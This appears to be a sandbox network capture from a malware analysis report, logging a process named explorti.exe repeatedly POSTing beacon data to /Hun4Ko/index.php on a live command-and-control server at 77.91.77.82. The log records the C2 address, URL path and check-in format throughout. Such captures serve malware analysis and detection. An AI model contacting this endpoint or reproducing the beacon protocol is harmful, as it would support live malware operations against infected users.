Jul 4, 2024 20:34:58.426830053 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:58.653376102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49815	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:58.773252010 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:59.479095936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:59.481961012 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:59.706222057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49816	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:59.820838928 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:00.530270100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:00.531275034 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:00.881069899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49817	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:00.991753101 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:01.692910910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:01.693756104 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:01.915319920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49818	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:02.027354002 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:02.738414049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:02.739250898 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:02.966245890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49819	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:03.108658075 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:03.820993900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:03.821671009 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:04.046065092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49820	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:04.164000034 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:04.882947922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:04.883925915 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:05.108978033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49821	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:05.227925062 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:05.943015099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:05.943994045 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:06.164374113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49822	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:06.275770903 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:06.994561911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:06.995433092 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:07.223987103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49823	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:07.337018013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:08.036250114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:08.037293911 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:08.387831926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49824	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:08.509145021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:09.241410017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:09.242235899 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:09.468410015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49825	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:09.585612059 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:10.278176069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:10.279236078 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:10.496658087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49826	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:10.617186069 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:11.319626093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:11.324254990 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:11.570945978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49830	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
